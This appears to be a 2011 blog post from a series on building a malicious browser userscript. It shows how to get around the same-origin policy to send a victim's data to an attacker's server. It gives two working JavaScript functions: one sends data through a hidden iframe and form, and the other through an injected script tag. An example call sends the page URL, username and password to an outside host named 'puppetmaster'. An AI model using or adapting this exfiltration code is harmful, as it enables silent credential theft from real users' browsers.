Cross-domain requests made simple
November 21, 2011Once we get our malicious userscript running on every page the victim loads in the browser, we will want to collect some data and send it to our server. However, to do this we will need to perform a cross-domain request to our which is normally prohibited because of the same-origin policy. Although we could use the GreaseMonkey GM_xmlhttpRequest to perform cross-domain communication using the global context, this API is only available to the GreaseMonkey extension and is not compatible with Chrome or Opera.
So we have to use some tricks.
The are two methods available:
- Hidden form
To perform a cross-domain request we create a hidden IFRAME and a FORM inside it targeted at the IFRAME. We add a hidden text field for every piece of information we want to send to the server and thensubmit()
the form. This will NOT cause the current page to refresh so it isn’t noticeable. However, if it is used to send data throughhttp
on ahttps
page (such as the Google login page), a nasty warning will appear asking the user to acknowledge the potential security breach. On the flip side, this allows easy inspection of the response coming from the server.function postToURL(path, params, method) { method = method || "POST"; // generate a unique name var guid = 'puppetHack' + Math.floor(Math.random() * 10000); var iframe = document.createElement("iframe"); document.body.appendChild(iframe); iframe.name = guid; iframe.contentWindow.name = guid; iframe.id = guid; iframe.style.display = 'none'; var form = document.createElement("form"); form._submit_function_ = form.submit; // protect from overwriting form.setAttribute('target', guid); form.setAttribute('method', method); form.setAttribute('action', path); for(var key in params) { var hiddenField = document.createElement("input"); hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("name", key); hiddenField.setAttribute("value", params[key]); form.appendChild(hiddenField); } document.body.appendChild(form); form._submit_function_(); //call the renamed function }
A call might look like this:
postToURL('http://puppetmaster.akshell.com/post.html', { 'hack': 'google', 'url': document.location.href, 'username': username, 'password': password });
- Content insertion
By inserting ascript
orimg
tag into the page with a parametrized URL source, one can break the same-origin boundary. This works even onhttps
pages, but the response has to be encoded in the script or image pixels.function requestToURL(path, params) { var elems = new Array(); for (var key in params) { elems.push(escape(key) + '=' + escape(params[key])); } var request = path + '?' + elems.join('&'); var head = document.getElementsByTagName("head").item(0); var script = document.createElement("script"); script.setAttribute("type", "text/javascript"); script.setAttribute("src", request); head.appendChild(script); }